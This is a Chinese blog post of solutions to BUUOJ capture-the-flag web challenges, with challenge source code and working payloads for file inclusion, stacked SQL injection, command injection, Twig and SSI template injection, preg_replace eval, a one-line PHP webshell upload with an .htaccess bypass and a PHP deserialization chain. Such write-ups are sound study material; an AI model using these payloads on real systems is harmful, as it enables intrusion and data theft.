

# Buuoj刷题记录

原创

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12 篇文章 0 订阅

订阅专栏

记录buuoj写过的题

web

## [HCTF 2018]WarmUp

F12看到存在source.php, 跳转后看到代码

```

<?php
highlight_file(__FILE__);
class emmm
{
    public static function checkFile(&$page)
    {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
) {
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

```

可以看到考点为文件包含，传入的file参数先会检查是否在白名单中，第二个是检查传入的字符串中‘?’前的字符串是否在白名单中，第三个是先进行url解码再截取，其实可以直接第二个就构造payload得到flag

Payload:

<http://f5c2ee8f-ee5f-4469-bad8-86c15a958352.node3.buuoj.cn/source.php?file=hint.php?/.../.../.../.../ffffllllaaaagggg>

```

    $page = mb_substr(
        $page,
        0,
        mb_strlen($page . '?', '?'));
    if (in_array($page, $whitelist)) {
        return true;
    }

    $page = urldecode($page);
    $page = mb_substr(
        $page,
        0,
        mb_strlen($page . '?', '?'));
    if (in_array($page, $whitelist)) {
        return true;
    }
    echo "you can't see it";
    return false;
}

}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file']))
{
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src='\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\"' />";
}
}

?> flag{7b3986ce-38e6-48ee-97c4-b7c163dab8cd}

```

截取通过后，include会将hint.php?/ 作为目录，然后不断前转目录，到根目录包含ffffllaaaagggg 也有的情况?后会被解析为get提交的参数，此时可将'?'进行二次url编码。

## [强网杯 2019]随便注

(sqlmap仅能跑出库名，表名为空)

先使用 1' or 1=1--+ 发现存在注入

```

120814fc-8352-4410-be3f-d53a5af398bd.node3.buuoj.cn/?inject=1' or 1=1--+

```

**取材于某次真实环境渗透，只说一句话：开发和安全缺一不可**

姿势:

```

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

```

加'后报错，然后order by猜出字段为2，union select 1,2 后返回：  
return preg\_match("/select|update|delete|drop|insert|where|./i",\$inject);  
发现过滤了常用词。

使用堆叠注入：

在SQL中，分号 (;) 是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者 union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select \* from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。

1';show tables;--+ //查看表名



?inject=1';show columns from `1919810931114514`;--+

?inject=1';show columns from `words`;--+

（要在表名加`否则无回显）

MySQL中反引号和单引号的区别与用法:

MySql 中用一对反引号来标注 SQL 语句中的标识，如数据库名、表名、字段名等  
引号用来标注语句中所引用的字符型常量或时间型常量，即字段值  
例如：select \* from `username` where `name`="name"

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "N0"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

<https://blog.csdn.net/meteox>



```

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

```

<https://blog.csdn.net/meteox>

可以看到flag在1919810931114514中

### 方法一

因为语句被过滤严重，但并为过滤改名语句，所以思路是借助本身查询语句，也就是将1919810931114514改名为words，将flag改为id

```

/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words`
CHANGE `flag` `id` VARCHAR(100);--+

```

```

(搜寻中看到有可能修改失败，所以有另一语句：/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE
`1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET
utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;--+
)

```

改完后输入：1' or 1=1 --+即可查到flag



<https://blog.csdn.net/meteox>

堆叠注入：<https://www.cnblogs.com/0nth3way/articles/7128189.html>

### 方法二

用handler语句代替select，具体见本篇[GUCTF2020]Blacklist

`http://ecaf9ef5-ff55-4a72-b878-6fe965d670f6.node3.buuoj.cn/?inject=1';handler `1919810931114514` open; handler `1919810931114514` read first; --+`

## [SUCTF 2019]EasySQL

Give me your flag, I will tell you if the flag is right.

三种查询结果:

Give me your flag, I will tell you if the flag is right.

Array ( [0] => 1 )

<https://blog.csdn.net/meteox>

Give me your flag, I will tell you if the flag is right.

Give me your flag, I will tell you if the flag is right.

Nonono.

<https://blog.csdn.net/meteox>

[外链图片转存失败, 源站可能有防盗链机制, 建议将图片保存下来直接上传(img-N3d03bG8-1628491027055)(\Buuoj刷题记录.assets\clip\_image008.jpg)]

可堆叠注入: `1;show databases; show tables;`

网上搜到原题泄露了查询语句: `select $_POST[query] || flag from flag`

两种方法:


```
*,1  
  
1;set sql_mode=PIPES_AS_CONCAT;select 1
```

解析:

- 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
- 但在mysql 缺省不支持。需要调整mysql 的sql\_mode 模式: pipes\_as\_concat 来实现oracle 的一些功能。

参考: [https://blog.csdn.net/qq\\_42158602/article/details/103930598](https://blog.csdn.net/qq_42158602/article/details/103930598)


## [NPUCTF2020]ezinclude




username/password error



由注释可知为MD5哈希长度拓展攻击




但是响应包已经返回hash，直接get提交参数path=fa25e54758d5d5c1927781a6ede89f8a，提交后重定向404



Page Not Found  
Apache/2.4.18 (Ubuntu) Server at Port 8080



点击堆栈追踪可看到代码



```

1 <html>
2 <head>
3 <script language="javascript" type="text/javascript">
4     window.location.href="404.html";
5 </script>
6 <title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
7 </head>
8 <>
9 <body>
10 include($_GET["file"])</body>
11 </html>
12

```



<https://blog.csdn.net/metsox>

view-source:http://6fae3651-6912-4405-8f69-92344febe91f.node3.buuoj.cn/flflflflag.php?  
file=php://filter/read=convert.base64-encode/resource=flflflflag.php 读取文件

```
<html>
<head>
<script language="javascript" type="text/javascript">
    window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_â€¢~äºš_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip|is',$file)){
    die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
```

过滤了ls, data, input, 没办法命令执行获取当前文件夹下的内容

## [ACTF2020 新生赛]Include



http://f86e6a77-36b2-45db-ac74-9ba92c007216.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php


基本的文件包含

## [ACTF2020 新生赛]Upload

用bp绕过前端验证，上传一句话，发现php已进黑名单

```
. HTTP/1.1 200 OK
. Server: openresty
. Date: Fri, 07 Aug 2020 06:31:31 GMT
. Content-Type: text/html; charset=UTF-8
. Content-Length: 8673
. Connection: close
. Vary: Accept-Encoding
. X-Powered-By: PHP/5.6.40 https://blog.csdn.net/meteox
```

返回版本为5.6，改后缀为phtml绕过黑名单验证，成功上传，连接后在根目录发现flag



root	2019-01-23 00:10:45	6	0700
run	2019-01-22 21:56:17	21	0755
sbin	2019-01-22 21:56:09	20	0755
srv	2019-01-22 15:00:00	6	0755
sys	2020-05-05 12:23:44	0	0555
tmp	2020-08-07 06:31:31	6	1777
usr	2019-01-22 15:00:00	19	0755
var	2019-01-22 21:56:12	17	0755
flag	2020-08-07 06:19:59	43	0644

## [ACTF2020 新生赛]Exec

命令执行中的 |

127.0.0.1 | ls ../../../../

127.0.0.1 | cat ../../../../flag

## [BJDCTF2020]Easy MD5

提交查询

状态	方法	域名	文件	发起者	类型	传输	大小
200	GET	2cef2e26-08...	leveldo4.php?password=111	document	html	已缓存	3.03 KB
404	GET	2cef2e26-08...	favicon.ico	Favicon...	html	已缓存	1.87 KB

消息头

版本: HTTP/1.1  
 传输: 3.03 KB (大小 3.03 KB)  
 Referrer 政策: no-referrer-when-downgrade

响应头 (253 字节)

HTTP/1.1 200 OK  
 Server: openresty  
 Date: Sat, 12 Sep 2020 00:45:31 GMT  
 Content-Type: text/html; charset=UTF-8  
 Transfer-Encoding: chunked  
 Connection: keep-alive  
 Hint: select \* from 'admin' where password=md5(\$pass,true)  
 X-Powered-By: PHP/7.3.13

响应头提示 `select * from 'admin' where password=md5($pass,true)`

## md5注入

如果可选的 `raw_output` 被设置为 `TRUE`, 那么 MD5 报文摘要将以16字节长度的原始二进制格式返回

输入 `ffifdyop` 即可

进入下一页, 查看注释

```
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
```

数组绕过 `http://2cef2e26-08ad-44ad-938c-10498dad8ab0.node3.buuoj.cn/levels91.php?a[]=1&b[]=2`

下一页

```
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1'] !== $_POST['param2'] && md5($_POST['param1']) === md5($_POST['param2'])){
    echo $flag;
}
```

post数组绕过 `param1[]=1&param2[]=2`

## [BJDCTF2020]Mark loves cat

显示网站界面，使用dirmap扫描到目录 <http://02b87379-34da-48ba-8bf7-e98327689a95.node3.buuoj.cn/.git/config>

有git泄露，使用githack得到源码（githack使用的是python2，而且有时候恢复地不全，需要多恢复几次）

githack使用的是py2，推荐共存2和3的文章

flag.php

```
<?php
$flag = file_get_contents('/flag');
```

index.php

```
<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;
```

考察变量覆盖 <http://2778652f-ca93-4bd4-a661-53f90a9abd3d.node3.buuoj.cn/?yds=flag>


第二个foreach将 $yds$ 赋值为flag，然后不设置post和get中的flag参数，就直接退出并返回 $yds$ ，也就是赋值的flag

## [BJDCTF2020]The mystery of ip







查看hint



获取ip的方式，网上有很多php获取ip的代码，大同小异，很多都获取了xxf和XFF或Client-IP这两个header作为ip，这两个都可以通过header伪造



发现ssti



获得flag



Your IP is :  
flag{3b7e9144-8e65-40e2-9211-f473b5846896}  
flag{3b7e9144-8e65-40e2-9211-f473b5846896}

Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSTI ENCODING HASHING THEME

Enable POST

ADD HEADER

Name	Value
<input checked="" type="checkbox"/> X-Forwarded-For	{{system("cat /flag")}}

[BJDCTF2020]Cookie is so stable

Tell me, Who are you?

ID


Username

Submit

<https://blog.csdn.net/meteox>

hint

Why not take a closer look at cookies?



]

### 学习链接

```
1 GET /flag.php HTTP/1.1
2 Host: 667128df-145f-468b-9cff-2fe54dce0d0a.node3.buuoj.cn
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)
  Gecko/20100101 Firefox/80.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Referer:
  http://667128df-145f-468b-9cff-2fe54dce0d0a.node3.buuoj.cn/flag.php
8 Connection: close
9 Cookie: PHPSESSID=f23b689c321c0090f69d092d9f60e341; user={{7*7}}
10 Upgrade-Insecure-Requests: 1
11
12
```

```
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
```

```
<div class="navbar-collapse collapse nav2" aria-expanded="false" style="height
<ul class="nav navbar-nav ul-head1">
<li class="">
  <a href="/flag.php">Flag</a>
</li>
<li class="">
  <a href="/hint.php">Hint</a>
</li>
</ul>
<ul class="nav navbar-nav navbar-right ul-head2">
<li class="">
  <a href="/index.php">Shana</a>
</li>
</ul>
</div>
</div>
</nav>
<div class="container panell">
<div class="row">
<div class="col-md-4">
</div>
<div class="col-md-4">
<div class="jumbotron pan">
<div class="form-group log">
<label>
<h2>
  Hello 49
  </h2>
</label>
</div>
```

经测试为twig模板

```
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
```

获得flag

Hello flag{465e89c6-9dc6-4646-9f24-0bd7d486f7b7}

## [BJDCTF2020]EasySearch

访问index.php.swp获取源码

```
<?php
ob_start();
function get_hash(){
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$$%^&*()+-';
    $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_ra
nd(0,73)];//Random 5 times
    $content = uniqid().$random;
    return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
    $admin = '6d0bc1';
    if ( $admin == substr(md5($_POST['password']),0,6)) {
        echo "<script>alert('[+] Welcome to manage system')</script>";
        $file_shtml = "public/".get_hash().".shtml";
        $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
        $text = '
        ***
        ***
        <h1>Hello, '.$_POST['username'].'</h1>
        ***
        ***';
        fwrite($shtml,$text);
        fclose($shtml);
        ***
        echo "[!] Header error ...";
    } else {
        echo "<script>alert('[!] Failed')</script>";
    }
}
else
{
    ***
}
***
?>
```

要满足密码md5加密后的前，六位等于 6d0bc1

```
import hashlib

i=0

while True:
    md5 = hashlib.md5(str(i).encode()).hexdigest()
    md5=md5[0:6]
    if md5=="6d0bc1":
        print(i)
        break
    i=i+1
```

跑出密码 2020666

登录

The screenshot shows a web browser window with a dark background. A modal dialog box is centered on the screen, containing the text "[+] Welcome to manage system" and a "确定" (Confirm) button. Below the browser window, the network inspector is open, showing a list of requests. The first request is a POST to "index.php" with a status of 200. The second request is a GET to "favicon.ico" with a status of 404. The network inspector also shows the response headers for the first request, including "Content-Type: text/html; charset=utf-8", "Date: Wed, 16 Sep 2020 10:13:06 GMT", "Server: openresty", "Vary: Accept-Encoding", and "X-Powered-By: PHP/7.1.27". A red arrow points to the "Url\_is\_here" field in the response headers, which contains the value "public/f8ed3eff860f60090cd56a769977f4589a28e5f8.shtml".

正在传输来自 73f94a6b-e80f-40f3-a9de-92bd2f4a529c.node3.buuoj.cn 的数据...

查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 应用程序 Max HackBar

状态	方法	域名	文件	发起者	类型	传输	大小
200	POST	73f94a6b-e8...	index.php	browsin...	html	839 字节	568 ...
404	GET	73f94a6b-e8...	favicon.ico	Favicon...	html	已缓存	1.87 KB

消息头

- Content-Length: 568
- Content-Type: text/html; charset=utf-8
- Date: Wed, 16 Sep 2020 10:13:06 GMT
- Server: openresty
- Url\_is\_here: public/f8ed3eff860f60090cd56a769977f4589a28e5f8.shtml
- Vary: Accept-Encoding
- X-Powered-By: PHP/7.1.27

请求头 (718 字节)

- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8
- Accept-Encoding: gzip, deflate

# Hello,ertyhwrty

**data: Wednesday, 16-Sep-2020 10:12:38 UTC**

**Client IP: 174.0.0.15**

<https://blog.csdn.net/meteox>

ssi注入

将用户名改为 `<!--#exec cmd="ls ../"-->`

# Hello,flag\_990c66bf85a09c664f0b6741840499b2 index.php index.php.swp public

**data: Wednesday, 16-Sep-2020 10:16:30 UTC**

**Client IP: 174.0.0.15**

<https://blog.csdn.net/meteox>

`<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->`

# Hello,flag{7a13e211-88ef-4e6e-8753-0ce5a7c7ce0f}

**data: Wednesday, 16-Sep-2020 10:19:21 UTC**

**Client IP: 174.0.0.15**

<https://blog.csdn.net/meteox>

[BJDCTF2020]ZJCTF, 不过如此

得到代码

```

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1><br>";
    if(preg_match("/flag/", $file)){
        die("Not now!");
    }

    include($file); //next.php
}
else{
    highlight_file(__FILE__);
}
?>

```

使用data协议, filter协议

<http://fcae7fc4-068a-42a8-850b-85af44432865.node3.buuoj.cn/?text=data://,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php>

```

//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}


```

preg\_replace代码执行

[http://fcae7fc4-068a-42a8-850b-85af44432865.node3.buuoj.cn/next.php?S\\*=\\${eval\(\\$\\_POST\[1\]\)}](http://fcae7fc4-068a-42a8-850b-85af44432865.node3.buuoj.cn/next.php?S*=${eval($_POST[1])})

根目录找到flag





[BJDCTF2020]EzPHP

```

<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\\'|log/i', $_SERVER['QUERY_STRING'])
    )
        die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/i', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\\'|\\{|\\%|x|\\&|\\$|\\*|\\||\\<|\\\"|\\'|\\|=|\\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\\.|log|\\^/i', $arg) ) {
    die("<br />Neeeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
} ?>

```

第一部分:

```

if($_SERVER) {
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|
sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|ech
o|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
    )
        die('You seem to want to do something bad?');
}

```

过滤了很多关键字，但是确是通过 `$_SERVER` 获取，`$_SERVER['QUERY_STRING']`，不会对内容url解码，但GET会，所以对字符url编码绕过，hackbar的url编码只会对特殊字符编码，找到这个网站，可以对所有字母复杂编码：

第二部分：

```

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/i', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

```

使用换行符%0a绕过，`aqua_is_cute%0a`

第三部分：

```

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

```

`$_REQUEST` 可获取GET和POST方式的传参，如果两种方式同时传同一个参，则会有优先级，默认为POST的优先级大于GET，所以可以同时post同名参数绕过此限制。

POST: `debu=1&file=1`

第四部分：

```

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

```

使用data协议 `file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61`

第五部分

```

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

```

sha1无法处理数组，处理时返回false，所以用数组绕过

`shana[]=1&passwd[]=2`

前几部分总payload:

```
payload:http://28aafe4c-af7a-4299-b2eb-df7c903c83ee.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61%73%68%61%6e%61%73%68%61%6e%61%70%61%73%73%77%64[]=2
```

POST: debu=1&file=1

第五部分:

```
payload: http://28aafe4c-af7a-4299-b2eb-df7c903c83ee.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61%73%68%61%6e%61%73%68%61%6e%61%70%61%73%73%77%64[]=2
```

## [MRCTF2020]Ez\_bypass

I put something in F12 for you

```
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                if($passwd==1234567)
                {
                    echo 'Good Job!';
                    highlight_file('flag.php');
                    die('By Retr_0');
                }
                else
                {
                    echo "can you think twice?";
                }
            }
            else{
                echo 'You can not get it !';
            }
        }
        else{
            die('only one way to get the flag');
        }
    }
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first
```

第一个用数组或0e绕过，第二部分用php特性绕过var\_dump(123=='123a'); bool(true)

payload

http://af591e00-6e3b-4808-beba-d688fba5fb3d.node3.buuoj.cn/?id[]=1&gg[]=2

POST: passwd=1234567a


## [MRCTF2020]你传你回呢



浏览... 未选择文件。  
一键去世

上传1.jpg `<?php @eval($_POST[1]);?>`

开始以为是nginx, 上传 .user.ini, 后面发现是apache, 故上传2.jpg `<FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>` burp改为 .htaccess, 成功拿到shell, 菜刀链接, 在根目录发现flag



upload.php源码

```

<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp = $_FILES['uploaded']['tmp_name'];

    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("我才 your problem?");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg"
)|| ($_FILES["uploaded"]["type"] == "image/png"))) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
            mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
            move_uploaded_file($uploaded_tmp, $t_path);
            echo "{$t_path} succesfully uploaded!";
        }
        else{
            die("我才 your problem?");
        }
    }
}
?>

```

[MRCTF2020]Ezpop

```
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/Library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%
B9%E6%B3%95
//And Crack It!
class Modifier {
    protected $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\.\/i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
}
```

利用Modifier中的include包含flag.php，需要控制\$var的值和调用 `__invoke`，而当对象当作函数使用时会调用 `__invoke`，可以看到class Test中 `__get` 的方法可使成员作为函数使用，当访问不存在的成员变量时会调用 `__get`，class Show中的 `__toString`，会访问str中的source，所以使str为Test对象，这个对象中没有source，就会调用 `__get`，当把对象当作字符串时会调用 `__toString`，所以使source为show对象，当执行 `__wakeup` 即可调用 `__toString`，pop链构造完毕。

```
Show->preg_match->__toString()->Test->__get->Modifier->__invoke->append()
```

exp:

```
?php
class Modifier {
    protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Test{
    public $p;
}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}

$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();

echo urlencode(serialize($a));

?>
```



查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境 应用程序

SQL Error Based WAF XSS LFI Bypasser Other

Load URL Spjit URL Execution

```
class Flag{
  private $flag= "flag{55846650-154a-4de8-931f-7f3f4955aa28}";
}
echo "Help Me Find FLAG!";
?>
```

<https://blog.csdn.net/meteox>

[MRCTF2020]Ezpop\_Reveng

[MRCTF2020]套娃

how smart you are ~

FLAG is in secrettw.php

# Welcome!

这只不过是个小测试区，啥都没有，还请各位多多包涵! made by crispr



```
<!--  
//1st  
$query = $_SERVER['QUERY_STRING'];  
  
if( substr_count($query, '_') != 0 || substr_count($query, '%5f') != 0 ){  
    die('Y0u are So cutE!');  
}  
if($_GET['b_u_p_t'] != '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){  
    echo "you are going to the next ~";  
}  
!  
</-->
```

`<html lang="en">`

<https://blog.csdn.net/m1ateox>


使用php解析字符串的特性绕过 利用PHP的字符串解析特性Bypass

payload

```
b%20u%20p%20t=23333%0A
```

b%20u%20p%20t经过处理后存入数组的值为b\_u\_p\_t，%0A为换行符。





post后获得源码

```
Flag is here~But how to get it? <?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
    highlight_file(__FILE__);
    die();
}

function change($v){
    $v = base64_decode($v);
    $re = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) + $i*2 );
    }
    return $re;
}

echo 'Local access only!'.<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day'){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
```

使用Client-IP伪造ip, 使用data协议控制输入流, 控制file\_get\_contents的值

伪造ip: X-Client-IP: X-Remote-IP: X-Remote-Addr: X-Originating-IP: X-Forwarded-For: client-ip:

<http://b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat is a happy day&file=flag.php>

Flag is here~But how to get it?Local access only!  
Your REQUEST is:~X

URL  
